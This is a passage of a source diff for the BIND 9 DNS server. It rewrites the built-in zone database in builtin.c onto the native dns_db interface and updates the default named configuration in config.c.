+	 dns_dbnode_t **nodep DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+	bdbnode_t *node = NULL;
+	isc_result_t result;
+	bool isorigin;
+	dns_name_t relname;
+	unsigned int labels;
 
-	UNUSED(zone);
-	UNUSED(driverdata);
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(nodep != NULL && *nodep == NULL);
 
-	if (strcmp(argv[0], "dns64") == 0 || strcmp(argv[0], "empty") == 0 ||
-	    strcmp(argv[0], "ipv4only") == 0 ||
-	    strcmp(argv[0], "ipv4reverse") == 0)
-	{
-		if (argc != 3) {
-			return (DNS_R_SYNTAX);
-		}
-	} else if (argc != 1) {
-		return (DNS_R_SYNTAX);
+	UNUSED(create);
+
+	isorigin = dns_name_equal(name, &bdb->common.origin);
+
+	labels = dns_name_countlabels(name) - dns_name_countlabels(&db->origin);
+	dns_name_init(&relname, NULL);
+	dns_name_getlabelsequence(name, 0, labels, &relname);
+	name = &relname;
+
+	result = createnode(bdb, &node);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
 	}
 
-	if (strcmp(argv[0], "authors") == 0) {
-		*dbdata = &authors_builtin;
-	} else if (strcmp(argv[0], "hostname") == 0) {
-		*dbdata = &hostname_builtin;
-	} else if (strcmp(argv[0], "id") == 0) {
-		*dbdata = &id_builtin;
-	} else if (strcmp(argv[0], "version") == 0) {
-		*dbdata = &version_builtin;
-	} else if (strcmp(argv[0], "dns64") == 0 ||
-		   strcmp(argv[0], "empty") == 0 ||
-		   strcmp(argv[0], "ipv4only") == 0 ||
-		   strcmp(argv[0], "ipv4reverse") == 0)
+	result = builtin_lookup(bdb, name, node);
+	if (result != ISC_R_SUCCESS && (!isorigin || result != ISC_R_NOTFOUND))
 	{
-		builtin_t *empty;
-		char *server;
-		char *contact;
+		destroynode(node);
+		return (result);
+	}
 
-		if (argc != 3) {
-			return (DNS_R_SYNTAX);
+	if (isorigin) {
+		result = builtin_authority(bdb, node);
+		if (result != ISC_R_SUCCESS) {
+			destroynode(node);
+			return (result);
 		}
+	}
 
+	*nodep = node;
+	return (ISC_R_SUCCESS);
+}
+
+static isc_result_t
+find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
+     dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
+     dns_dbnode_t **nodep, dns_name_t *foundname, dns_rdataset_t *rdataset,
+     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+	isc_result_t result;
+	dns_dbnode_t *node = NULL;
+	dns_fixedname_t fname;
+	dns_rdataset_t xrdataset;
+	dns_name_t *xname = NULL;
+	unsigned int nlabels, olabels, i;
+	bool dns64;
+
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(nodep == NULL || *nodep == NULL);
+	REQUIRE(version == NULL || version == (void *)&dummy);
+
+	if (!dns_name_issubdomain(name, &db->origin)) {
+		return (DNS_R_NXDOMAIN);
+	}
+
+	olabels = dns_name_countlabels(&db->origin);
+	nlabels = dns_name_countlabels(name);
+
+	xname = dns_fixedname_initname(&fname);
+
+	if (rdataset == NULL) {
+		dns_rdataset_init(&xrdataset);
+		rdataset = &xrdataset;
+	}
+
+	result = DNS_R_NXDOMAIN;
+	dns64 = ((bdb->implementation->flags & BDB_DNS64) != 0);
+	for (i = (dns64 ? nlabels : olabels); i <= nlabels; i++) {
 		/*
-		 * We don't want built-in zones to fail.  Fallback to
-		 * the static configuration if memory allocation fails.
+		 * Look up the next label.
 		 */
-		empty = isc_mem_get(named_g_mctx, sizeof(*empty));
-		server = isc_mem_strdup(named_g_mctx, argv[1]);
-		contact = isc_mem_strdup(named_g_mctx, argv[2]);
-		if (empty == NULL || server == NULL || contact == NULL) {
-			if (strcmp(argv[0], "dns64") == 0) {
-				*dbdata = &dns64_builtin;
-			} else if (strcmp(argv[0], "empty") == 0) {
-				*dbdata = &empty_builtin;
-			} else if (strcmp(argv[0], "ipv4only") == 0) {
-				*dbdata = &ipv4only_builtin;
-			} else {
-				*dbdata = &ipv4reverse_builtin;
+		dns_name_getlabelsequence(name, nlabels - i, i, xname);
+		result = findnode(db, xname, false, &node DNS__DB_FLARG_PASS);
+		if (result == ISC_R_NOTFOUND) {
+			/*
+			 * No data at zone apex?
+			 */
+			if (i == olabels) {
+				return (DNS_R_BADDB);
 			}
-			if (server != NULL) {
-				isc_mem_free(named_g_mctx, server);
-			}
-			if (contact != NULL) {
-				isc_mem_free(named_g_mctx, contact);
+			result = DNS_R_NXDOMAIN;
+			continue;
+		}
+		if (result != ISC_R_SUCCESS) {
+			return (result);
+		}
+
+		/*
+		 * DNS64 zones don't have DNAME or NS records.
+		 */
+		if (dns64) {
+			goto skip;
+		}
+
+		/*
+		 * Look for a DNAME at the current label, unless this is
+		 * the qname.
+		 */
+		if (i < nlabels) {
+			result = findrdataset(
+				db, node, version, dns_rdatatype_dname, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
+			if (result == ISC_R_SUCCESS) {
+				result = DNS_R_DNAME;
+				break;
 			}
-			if (empty != NULL) {
-				isc_mem_put(named_g_mctx, empty,
-					    sizeof(*empty));
+		}
+
+		/*
+		 * Look for an NS at the current label, unless this is the
+		 * origin or glue is ok.
+		 */
+		if (i != olabels && (options & DNS_DBFIND_GLUEOK) == 0) {
+			result = findrdataset(
+				db, node, version, dns_rdatatype_ns, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
+			if (result == ISC_R_SUCCESS) {
+				if (i == nlabels && type == dns_rdatatype_any) {
+					result = DNS_R_ZONECUT;
+					dns_rdataset_disassociate(rdataset);
+					if (sigrdataset != NULL &&
+					    dns_rdataset_isassociated(
+						    sigrdataset))
+					{
+						dns_rdataset_disassociate(
+							sigrdataset);
+					}
+				} else {
+					result = DNS_R_DELEGATION;
+				}
+				break;
 			}
-		} else {
-			if (strcmp(argv[0], "dns64") == 0) {
-				memmove(empty, &dns64_builtin,
-					sizeof(empty_builtin));
-			} else if (strcmp(argv[0], "empty") == 0) {
-				memmove(empty, &empty_builtin,
-					sizeof(empty_builtin));
-			} else if (strcmp(argv[0], "ipv4only") == 0) {
-				memmove(empty, &ipv4only_builtin,
-					sizeof(empty_builtin));
-			} else {
-				memmove(empty, &ipv4reverse_builtin,
-					sizeof(empty_builtin));
+		}
+
+		/*
+		 * If the current name is not the qname, add another label
+		 * and try again.
+		 */
+		if (i < nlabels) {
+			destroynode(node);
+			node = NULL;
+			continue;
+		}
+
+	skip:
+		/*
+		 * If we're looking for ANY, we're done.
+		 */
+		if (type == dns_rdatatype_any) {
+			result = ISC_R_SUCCESS;
+			break;
+		}
+
+		/*
+		 * Look for the qtype.
+		 */
+		result = findrdataset(db, node, version, type, 0, now, rdataset,
+				      sigrdataset DNS__DB_FLARG_PASS);
+		if (result == ISC_R_SUCCESS) {
+			break;
+		}
+
+		/*
+		 * Look for a CNAME.
+		 */
+		if (type != dns_rdatatype_cname) {
+			result = findrdataset(
+				db, node, version, dns_rdatatype_cname, 0, now,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS);
+			if (result == ISC_R_SUCCESS) {
+				result = DNS_R_CNAME;
+				break;
 			}
-			empty->server = server;
-			empty->contact = contact;
-			*dbdata = empty;
 		}
-	} else {
-		return (ISC_R_NOTIMPLEMENTED);
+
+		result = DNS_R_NXRRSET;
+		break;
 	}
-	return (ISC_R_SUCCESS);
+
+	if (rdataset == &xrdataset && dns_rdataset_isassociated(rdataset)) {
+		dns_rdataset_disassociate(rdataset);
+	}
+
+	if (foundname != NULL) {
+		dns_name_copy(xname, foundname);
+	}
+
+	if (nodep != NULL) {
+		*nodep = node;
+	} else if (node != NULL) {
+		detachnode(db, &node DNS__DB_FLARG_PASS);
+	}
+
+	return (result);
 }
 
 static void
-builtin_destroy(const char *zone, void *driverdata, void **dbdata) {
-	builtin_t *b = (builtin_t *)*dbdata;
+attachnode(dns_db_t *db, dns_dbnode_t *source,
+	   dns_dbnode_t **targetp DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+	bdbnode_t *node = (bdbnode_t *)source;
 
-	UNUSED(zone);
-	UNUSED(driverdata);
+	REQUIRE(VALID_BDB(bdb));
 
-	/*
-	 * Don't free the static versions.
-	 */
-	if (*dbdata == &authors_builtin || *dbdata == &dns64_builtin ||
-	    *dbdata == &empty_builtin || *dbdata == &hostname_builtin ||
-	    *dbdata == &id_builtin || *dbdata == &ipv4only_builtin ||
-	    *dbdata == &ipv4reverse_builtin || *dbdata == &version_builtin)
-	{
-		return;
+	isc_refcount_increment(&node->references);
+
+	*targetp = source;
+}
+
+static void
+detachnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
+	bdb_t *bdb = (bdb_t *)db;
+	bdbnode_t *node = NULL;
+
+	REQUIRE(VALID_BDB(bdb));
+	REQUIRE(nodep != NULL && *nodep != NULL);
+
+	node = (bdbnode_t *)(*nodep);
+	*nodep = NULL;
+
+	if (isc_refcount_decrement(&node->references) == 1) {
+		destroynode(node);
+	}
+}
+
+static isc_result_t
+findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
+	     dns_rdataset_t *rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
+	bdbnode_t *bdbnode = (bdbnode_t *)node;
+	dns_rdatalist_t *list = NULL;
+
+	REQUIRE(VALID_BDBNODE(bdbnode));
+
+	UNUSED(version);
+	UNUSED(covers);
+	UNUSED(now);
+	UNUSED(sigrdataset);
+
+	if (type == dns_rdatatype_rrsig) {
+		return (ISC_R_NOTIMPLEMENTED);
+	}
+
+	list = ISC_LIST_HEAD(bdbnode->lists);
+	while (list != NULL) {
+		if (list->type == type) {
+			break;
+		}
+		list = ISC_LIST_NEXT(list, link);
+	}
+	if (list == NULL) {
+		return (ISC_R_NOTFOUND);
 	}
 
-	isc_mem_free(named_g_mctx, b->server);
-	isc_mem_free(named_g_mctx, b->contact);
-	isc_mem_put(named_g_mctx, b, sizeof(*b));
+	new_rdataset(list, db, node, rdataset);
+
+	return (ISC_R_SUCCESS);
 }
 
-static dns_sdbmethods_t builtin_methods = {
-	builtin_lookup, builtin_authority, NULL, /* allnodes */
-	builtin_create, builtin_destroy,   NULL
-};
+static isc_result_t
+allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
+	     unsigned int options, isc_stdtime_t now,
+	     dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
+	bdb_rdatasetiter_t *iterator = NULL;
+
+	REQUIRE(version == NULL || version == &dummy);
+
+	iterator = isc_mem_get(db->mctx, sizeof(bdb_rdatasetiter_t));
+	*iterator = (bdb_rdatasetiter_t){
+		.common.methods = &rdatasetiter_methods,
+		.common.db = db,
+		.common.version = version,
+		.common.options = options,
+		.common.now = now,
+		.common.magic = DNS_RDATASETITER_MAGIC,
+	};
+
+	attachnode(db, node, &iterator->common.node DNS__DB_FLARG_PASS);
 
-static dns_sdbmethods_t dns64_methods = {
-	NULL,		builtin_authority, NULL, /* allnodes */
-	builtin_create, builtin_destroy,   dns64_lookup,
+	*iteratorp = (dns_rdatasetiter_t *)iterator;
+
+	return (ISC_R_SUCCESS);
+}
+
+static dns_dbmethods_t bdb_methods = {
+	.destroy = destroy,
+	.currentversion = currentversion,
+	.attachversion = attachversion,
+	.closeversion = closeversion,
+	.attachnode = attachnode,
+	.detachnode = detachnode,
+	.findrdataset = findrdataset,
+	.allrdatasets = allrdatasets,
+	.getoriginnode = getoriginnode,
+	.findnode = findnode,
+	.find = find,
 };
 
+static isc_result_t
+create(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
+       dns_rdataclass_t rdclass, unsigned int argc, char *argv[],
+       void *implementation, dns_db_t **dbp) {
+	isc_result_t result;
+	bool needargs = false;
+	bdb_t *bdb = NULL;
+
+	REQUIRE(implementation != NULL);
+
+	if (type != dns_dbtype_zone) {
+		return (ISC_R_NOTIMPLEMENTED);
+	}
+
+	bdb = isc_mem_get(mctx, sizeof(*bdb));
+	*bdb = (bdb_t){
+		.common = { .methods = &bdb_methods, .rdclass = rdclass },
+		.implementation = implementation,
+	};
+
+	isc_refcount_init(&bdb->common.references, 1);
+	isc_mem_attach(mctx, &bdb->common.mctx);
+	dns_name_init(&bdb->common.origin, NULL);
+	dns_name_dupwithoffsets(origin, mctx, &bdb->common.origin);
+
+	INSIST(argc >= 1);
+	if (strcmp(argv[0], "authors") == 0) {
+		bdb->lookup = authors_lookup;
+	} else if (strcmp(argv[0], "hostname") == 0) {
+		bdb->lookup = hostname_lookup;
+	} else if (strcmp(argv[0], "id") == 0) {
+		bdb->lookup = id_lookup;
+	} else if (strcmp(argv[0], "version") == 0) {
+		bdb->lookup = version_lookup;
+	} else if (strcmp(argv[0], "dns64") == 0) {
+		needargs = true;
+		bdb->lookup = empty_lookup;
+	} else if (strcmp(argv[0], "empty") == 0) {
+		needargs = true;
+		bdb->lookup = empty_lookup;
+	} else if (strcmp(argv[0], "ipv4only") == 0) {
+		needargs = true;
+		bdb->lookup = ipv4only_lookup;
+	} else {
+		needargs = true;
+		bdb->lookup = ipv4reverse_lookup;
+	}
+
+	if (needargs) {
+		if (argc != 3) {
+			result = DNS_R_SYNTAX;
+			goto cleanup;
+		}
+
+		bdb->server = isc_mem_strdup(named_g_mctx, argv[1]);
+		bdb->contact = isc_mem_strdup(named_g_mctx, argv[2]);
+	} else if (argc != 1) {
+		result = DNS_R_SYNTAX;
+		goto cleanup;
+	}
+
+	bdb->common.magic = DNS_DB_MAGIC;
+	bdb->common.impmagic = BDB_MAGIC;
+
+	*dbp = (dns_db_t *)bdb;
+
+	return (ISC_R_SUCCESS);
+
+cleanup:
+	dns_name_free(&bdb->common.origin, mctx);
+	if (bdb->server != NULL) {
+		isc_mem_free(named_g_mctx, bdb->server);
+	}
+	if (bdb->contact != NULL) {
+		isc_mem_free(named_g_mctx, bdb->contact);
+	}
+
+	isc_mem_putanddetach(&bdb->common.mctx, bdb, sizeof(bdb_t));
+	return (result);
+}
+
+/*
+ * Builtin database registration functions
+ */
+static bdbimplementation_t builtin = { .flags = 0 };
+static bdbimplementation_t dns64 = { .flags = BDB_DNS64 };
+
 isc_result_t
 named_builtin_init(void) {
-	RUNTIME_CHECK(dns_sdb_register("_builtin", &builtin_methods, NULL,
-				       DNS_SDBFLAG_RELATIVEOWNER |
-					       DNS_SDBFLAG_RELATIVERDATA,
-				       named_g_mctx,
-				       &builtin_impl) == ISC_R_SUCCESS);
-	RUNTIME_CHECK(dns_sdb_register("_dns64", &dns64_methods, NULL,
-				       DNS_SDBFLAG_RELATIVEOWNER |
-					       DNS_SDBFLAG_RELATIVERDATA |
-					       DNS_SDBFLAG_DNS64,
-				       named_g_mctx,
-				       &dns64_impl) == ISC_R_SUCCESS);
+	isc_result_t result;
+
+	result = dns_db_register("_builtin", create, &builtin, named_g_mctx,
+				 &builtin.dbimp);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_db_register("_dns64", create, &dns64, named_g_mctx,
+				 &dns64.dbimp);
+	if (result != ISC_R_SUCCESS) {
+		dns_db_unregister(&builtin.dbimp);
+		return (result);
+	}
+
 	return (ISC_R_SUCCESS);
 }
 
 void
 named_builtin_deinit(void) {
-	dns_sdb_unregister(&builtin_impl);
-	dns_sdb_unregister(&dns64_impl);
+	if (builtin.dbimp != NULL) {
+		dns_db_unregister(&builtin.dbimp);
+	}
+	if (dns64.dbimp != NULL) {
+		dns_db_unregister(&dns64.dbimp);
+	}
 }
diff --git a/bin/named/config.c b/bin/named/config.c
index ccf52c6974..78dcae8716 100644
--- a/bin/named/config.c
+++ b/bin/named/config.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,6 +20,7 @@
 #include <isc/buffer.h>
 #include <isc/log.h>
 #include <isc/mem.h>
+#include <isc/netmgr.h>
 #include <isc/parseint.h>
 #include <isc/region.h>
 #include <isc/result.h>
@@ -25,9 +28,8 @@
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/fixedname.h>
+#include <dns/kasp.h>
 #include <dns/name.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatatype.h>
@@ -47,32 +49,22 @@ static char defaultconf[] = "\
 options {\n\
 	answer-cookie true;\n\
 	automatic-interface-scan yes;\n\
-	bindkeys-file \"" NAMED_SYSCONFDIR "/bind.keys\";\n\
-#	blackhole {none;};\n"
-			    "	cookie-algorithm siphash24;\n"
-			    "	coresize default;\n\
-	datasize default;\n"
-			    "\
-#	deallocate-on-exit <obsolete>;\n\
+#	blackhole {none;};\n\
+	cookie-algorithm siphash24;\n\
 #	directory <none>\n\
 	dnssec-policy \"none\";\n\
 	dump-file \"named_dump.db\";\n\
-	edns-udp-size 1232;\n\
-#	fake-iquery <obsolete>;\n\
-	files unlimited;\n"
+	edns-udp-size 1232;\n"
 #if defined(HAVE_GEOIP2)
-			    "	geoip-directory \"" MAXMINDDB_PREFIX "/share/"
-			    "GeoIP\";"
-			    "\n"
+			    "\
+	geoip-directory \"" MAXMINDDB_PREFIX "/share/GeoIP\";\n"
 #elif defined(HAVE_GEOIP2)
-			    "	geoip-directory \".\";\n"
+			    "\
+	geoip-directory \".\";\n"
 #endif /* if defined(HAVE_GEOIP2) */
 			    "\
-#	has-old-clients <obsolete>;\n\
 	heartbeat-interval 60;\n\
-#	host-statistics <obsolete>;\n\
 	interface-interval 60;\n\
-#	keep-response-order {none;};\n\
 	listen-on {any;};\n\
 	listen-on-v6 {any;};\n\
 #	lock-file \"" NAMED_LOCALSTATEDIR "/run/named/named.lock\";\n\
@@ -81,36 +73,44 @@ options {\n\
 	max-rsa-exponent-size 0; /* no limit */\n\
 	max-udp-size 1232;\n\
 	memstatistics-file \"named.memstats\";\n\
-#	multiple-cnames <obsolete>;\n\
-#	named-xfer <obsolete>;\n\
 	nocookie-udp-size 8192;\n/*OQS updated from 4096*/\
 	notify-rate 20;\n\
 	nta-lifetime 3600;\n\
 	nta-recheck 300;\n\
 #	pid-file \"" NAMED_LOCALSTATEDIR "/run/named/named.pid\"; \n\
-	port 53;\n\
-	tls-port 853;\n\
+	port 53;\n"
+#if HAVE_SO_REUSEPORT_LB
+			    "\
+	reuseport yes;\n"
+#else
+			    "\
+	reuseport no;\n"
+#endif
+			    "\
+	tls-port 853;\n"
+#if HAVE_LIBNGHTTP2
+			    "\
 	http-port 80;\n\
 	https-port 443;\n\
+	http-listener-clients 300;\n\
+	http-streams-per-connection 100;\n"
+#endif
+			    "\
 	prefetch 2 9;\n\
 	recursing-file \"named.recursing\";\n\
 	recursive-clients 1000;\n\
 	request-nsid false;\n\
-	reserved-sockets 512;\n\
 	resolver-query-timeout 10;\n\
 	rrset-order { order random; };\n\
 	secroots-file \"named.secroots\";\n\
 	send-cookie true;\n\
-#	serial-queries <obsolete>;\n\
 	serial-query-rate 20;\n\
 	server-id none;\n\
 	session-keyalg hmac-sha256;\n\
 #	session-keyfile \"" NAMED_LOCALSTATEDIR "/run/named/session.key\";\n\
 	session-keyname local-ddns;\n\
-	stacksize default;\n\
 	startup-notify-rate 20;\n\
 	statistics-file \"named.stats\";\n\
-#	statistics-interval <obsolete>;\n\
 	tcp-advertised-timeout 300;\n\
 	tcp-clients 150;\n\
 	tcp-idle-timeout 300;\n\
@@ -119,18 +119,16 @@ options {\n\
 	tcp-listen-queue 10;\n\
 	tcp-receive-buffer 0;\n\
 	tcp-send-buffer 0;\n\
-#	tkey-dhkey <none>\n\
 #	tkey-domain <none>\n\
 #	tkey-gssapi-credential <none>\n\
 	transfer-message-size 20480;\n\
 	transfers-in 10;\n\
 	transfers-out 10;\n\
 	transfers-per-ns 2;\n\
-#	treat-cr-as-space <obsolete>;\n\
 	trust-anchor-telemetry yes;\n\
-#	use-id-pool <obsolete>;\n\
 	udp-receive-buffer 0;\n\
 	udp-send-buffer 0;\n\
+	update-quota 100;\n\
 \n\
 	/* view */\n\
 	allow-new-zones no;\n\
@@ -143,23 +141,25 @@ options {\n\
 	auth-nxdomain false;\n\
 	check-dup-records warn;\n\
 	check-mx warn;\n\
-	check-names master fail;\n\
+	check-names primary fail;\n\
 	check-names response ignore;\n\
-	check-names slave warn;\n\
+	check-names secondary warn;\n\
 	check-spf warn;\n\
+	check-svcb yes;\n\
 	clients-per-query 10;\n\
 	dnssec-accept-expired no;\n\
 	dnssec-validation " VALIDATION_DEFAULT "; \n"
+#ifdef USE_DNSRPS
+			    "	dnsrps-library \"" DNSRPS_LIBRPZ_PATH "\";\n"
+#endif /* ifdef USE_DNSRPS */
 #ifdef HAVE_DNSTAP
 			    "	dnstap-identity hostname;\n"
 #endif /* ifdef HAVE_DNSTAP */
 			    "\
-#	fetch-glue <obsolete>;\n\
 	fetch-quota-params 100 0.1 0.3 0.7;\n\
 	fetches-per-server 0;\n\
 	fetches-per-zone 0;\n\
-	glue-cache yes;\n\
-	lame-ttl 600;\n"
+	lame-ttl 0;\n"
 #ifdef HAVE_LMDB
 			    "	lmdb-mapsize 32M;\n"
 #endif /* ifdef HAVE_LMDB */
@@ -173,12 +173,13 @@ options {\n\
 	message-compression yes;\n\
 	min-ncache-ttl 0; /* 0 hours */\n\
 	min-cache-ttl 0; /* 0 seconds */\n\
-#	min-roots <obsolete>;\n\
 	minimal-any false;\n\
 	minimal-responses no-auth-recursive;\n\
 	notify-source *;\n\
 	notify-source-v6 *;\n\
 	nsec3-test-zone no;\n\
+	parental-source *;\n\
+	parental-source-v6 *;\n\
 	provide-ixfr true;\n\
 	qname-minimization relaxed;\n\
 	query-source address *;\n\
@@ -189,7 +190,6 @@ options {\n\
 	require-server-cookie no;\n\
 	resolver-nonbackoff-tries 3;\n\
 	resolver-retry-interval 800; /* in milliseconds */\n\
-#	rfc2308-type1 <obsolete>;\n\
 	root-key-sentinel yes;\n\
 	servfail-ttl 1;\n\
 #	sortlist <none>\n\
@@ -198,7 +198,7 @@ options {\n\
 	stale-answer-ttl 30; /* 30 seconds */\n\
 	stale-cache-enable false;\n\
 	stale-refresh-time 30; /* 30 seconds */\n\
-	synth-from-dnssec no;\n\
+	synth-from-dnssec yes;\n\
 #	topology <none>\n\
 	transfer-format many-answers;\n\
 	v6-bias 50;\n\
@@ -209,24 +209,17 @@ options {\n\
 	allow-query-on {any;};\n\
 	allow-transfer {any;};\n\
 #	also-notify <none>\n\
-	alt-transfer-source *;\n\
-	alt-transfer-source-v6 *;\n\
 	check-integrity yes;\n\
 	check-mx-cname warn;\n\
 	check-sibling yes;\n\
 	check-srv-cname warn;\n\
 	check-wildcard yes;\n\
 	dialup no;\n\
-	dnssec-dnskey-kskonly no;\n\
 	dnssec-loadkeys-interval 60;\n\
-	dnssec-secure-to-insecure no;\n\
-	dnssec-update-mode maintain;\n\
 #	forward <none>\n\
 #	forwarders <none>\n\
 #	inline-signing no;\n\
 	ixfr-from-differences false;\n\
-#	maintain-ixfr-base <obsolete>;\n\
-#	max-ixfr-log-size <obsolete>\n\
 	max-journal-size default;\n\
 	max-records 0;\n\
 	max-refresh-time 2419200; /* 4 weeks */\n\
@@ -245,12 +238,9 @@ options {\n\
 	sig-signing-nodes 100;\n\
 	sig-signing-signatures 10;\n\
 	sig-signing-type 65534;\n\
-	sig-validity-interval 30; /* days */\n\
-	dnskey-sig-validity 0; /* default: sig-validity-interval */\n\
 	transfer-source *;\n\
 	transfer-source-v6 *;\n\
 	try-tcp-refresh yes; /* BIND 8 compat */\n\
-	update-check-ksk yes;\n\
 	zero-no-soa-ttl yes;\n\
 	zone-statistics terse;\n\
 };\n\
@@ -263,6 +253,7 @@ view \"_bind\" chaos {\n\
 	recursion no;\n\
 	notify no;\n\
 	allow-new-zones no;\n\
+	max-cache-size 2M;\n\
 \n\
 	# Prevent use of this zone in DNS amplified reflection DoS attacks\n\
 	rate-limit {\n\
@@ -272,45 +263,78 @@ view \"_bind\" chaos {\n\
 	};\n\
 \n\
 	zone \"version.bind\" chaos {\n\
-		type master;\n\
+		type primary;\n\
 		database \"_builtin version\";\n\
 	};\n\
 \n\
 	zone \"hostname.bind\" chaos {\n\
-		type master;\n\
+		type primary;\n\
 		database \"_builtin hostname\";\n\
 	};\n\
 \n\
 	zone \"authors.bind\" chaos {\n\
-		type master;\n\
+		type primary;\n\
 		database \"_builtin authors\";\n\
 	};\n\
 \n\
 	zone \"id.server\" chaos {\n\
-		type master;\n\
+		type primary;\n\
 		database \"_builtin id\";\n\
 	};\n\
 };\n\
+"
+			    "#\n\
+#  Built-in DNSSEC key and signing policies.\n\
+#\n\
+dnssec-policy \"default\" {\n\
+	keys {\n\
+		csk key-directory lifetime unlimited algorithm 13;\n\
+	};\n\
+\n\
+	cdnskey yes;\n\
+	cds-digest-types { 2; };\n\
+	dnskey-ttl " DNS_KASP_KEY_TTL ";\n\
+	inline-signing yes;\n\
+	publish-safety " DNS_KASP_PUBLISH_SAFETY "; \n\
+	retire-safety " DNS_KASP_RETIRE_SAFETY "; \n\
+	purge-keys " DNS_KASP_PURGE_KEYS "; \n\
+	signatures-refresh " DNS_KASP_SIG_REFRESH "; \n\
+	signatures-validity " DNS_KASP_SIG_VALIDITY "; \n\
+	signatures-validity-dnskey " DNS_KASP_SIG_VALIDITY_DNSKEY "; \n\
+	max-zone-ttl " DNS_KASP_ZONE_MAXTTL "; \n\
+	zone-propagation-delay " DNS_KASP_ZONE_PROPDELAY "; \n\
+	parent-ds-ttl " DNS_KASP_DS_TTL "; \n\
+	parent-propagation-delay " DNS_KASP_PARENT_PROPDELAY "; \n\
+};\n\
+\n\
+dnssec-policy \"insecure\" {\n\
+	max-zone-ttl 0; \n\
+	keys { };\n\
+	inline-signing yes;\n\
+};\n\
+\n\
 "
 			    "#\n\
 #  Default trusted key(s), used if \n\
 # \"dnssec-validation auto;\" is set and\n\
-#  sysconfdir/bind.keys doesn't exist).\n\
+#  " NAMED_SYSCONFDIR "/bind.keys doesn't exist).\n\
 #\n\
-# BEGIN DNSSEC KEYS\n"
+# BEGIN TRUST ANCHORS\n"
 
 	/* Imported from bind.keys.h: */
 	TRUST_ANCHORS
 
-			    "# END MANAGED KEYS\n\
+			    "# END TRUST ANCHORS\n\
 \n\
 primaries " DEFAULT_IANA_ROOT_ZONE_PRIMARIES " {\n\
-	2001:500:84::b;		# b.root-servers.net\n\
+	2001:500:200::b;	# b.root-servers.net\n\
+	2001:500:2::c;		# c.root-servers.net\n\
 	2001:500:2f::f;		# f.root-servers.net\n\
+	2001:500:12::d0d;	# g.root-servers.net\n\
 	2001:7fd::1;		# k.root-servers.net\n\
 	2620:0:2830:202::132;	# xfr.cjr.dns.icann.org\n\
 	2620:0:2d0:202::132;	# xfr.lax.dns.icann.org\n\
-	192.228.79.201;		# b.root-servers.net\n\
+	199.9.14.201;		# b.root-servers.net\n\
 	192.33.4.12;		# c.root-servers.net\n\
 	192.5.5.241;		# f.root-servers.net\n\
 	192.112.36.4;		# g.root-servers.net\n\
@@ -330,23 +354,26 @@ named_config_parsedefaults(cfg_parser_t *parser, cfg_obj_t **conf) {
 				 CFG_PCTX_NODEPRECATED, conf));
 }
 
+const char *
+named_config_getdefault(void) {
+	return (defaultconf);
+}
+
 isc_result_t
 named_config_get(cfg_obj_t const *const *maps, const char *name,
 		 const cfg_obj_t **obj) {
 	int i;
 
-	for (i = 0;; i++) {
-		if (maps[i] == NULL) {
-			return (ISC_R_NOTFOUND);
-		}
+	for (i = 0; maps[i] != NULL; i++) {
 		if (cfg_map_get(maps[i], name, obj) == ISC_R_SUCCESS) {
 			return (ISC_R_SUCCESS);
 		}
 	}
+	return (ISC_R_NOTFOUND);
 }
 
 isc_result_t
-named_checknames_get(const cfg_obj_t **maps, const char *which,
+named_checknames_get(const cfg_obj_t **maps, const char *const names[],
 		     const cfg_obj_t **obj) {
 	const cfg_listelt_t *element;
 	const cfg_obj_t *checknames;
@@ -355,16 +382,14 @@ named_checknames_get(const cfg_obj_t **maps, const char *which,
 	int i;
 
 	REQUIRE(maps != NULL);
-	REQUIRE(which != NULL);
+	REQUIRE(names != NULL);
 	REQUIRE(obj != NULL && *obj == NULL);
 
-	for (i = 0;; i++) {
-		if (maps[i] == NULL) {
-			return (ISC_R_NOTFOUND);
-		}
+	for (i = 0; maps[i] != NULL; i++) {
 		checknames = NULL;
 		if (cfg_map_get(maps[i], "check-names", &checknames) ==
-		    ISC_R_SUCCESS) {
+		    ISC_R_SUCCESS)
+		{
 			/*
 			 * Zone map entry is not a list.
 			 */
@@ -377,14 +402,20 @@ named_checknames_get(const cfg_obj_t **maps, const char *which,
 			{
 				value = cfg_listelt_value(element);
 				type = cfg_tuple_get(value, "type");
-				if (strcasecmp(cfg_obj_asstring(type), which) ==
-				    0) {
-					*obj = cfg_tuple_get(value, "mode");
-					return (ISC_R_SUCCESS);
+
+				for (size_t j = 0; names[j] != NULL; j++) {
+					if (strcasecmp(cfg_obj_asstring(type),
+						       names[j]) == 0)
+					{
+						*obj = cfg_tuple_get(value,
+								     "mode");
+						return (ISC_R_SUCCESS);
+					}
 				}
 			}
 		}
 	}
+	return (ISC_R_NOTFOUND);
 }
 
 int
@@ -409,7 +440,7 @@ named_config_getclass(const cfg_obj_t *classobj, dns_rdataclass_t defclass,
 		*classp = defclass;
 		return (ISC_R_SUCCESS);
 	}
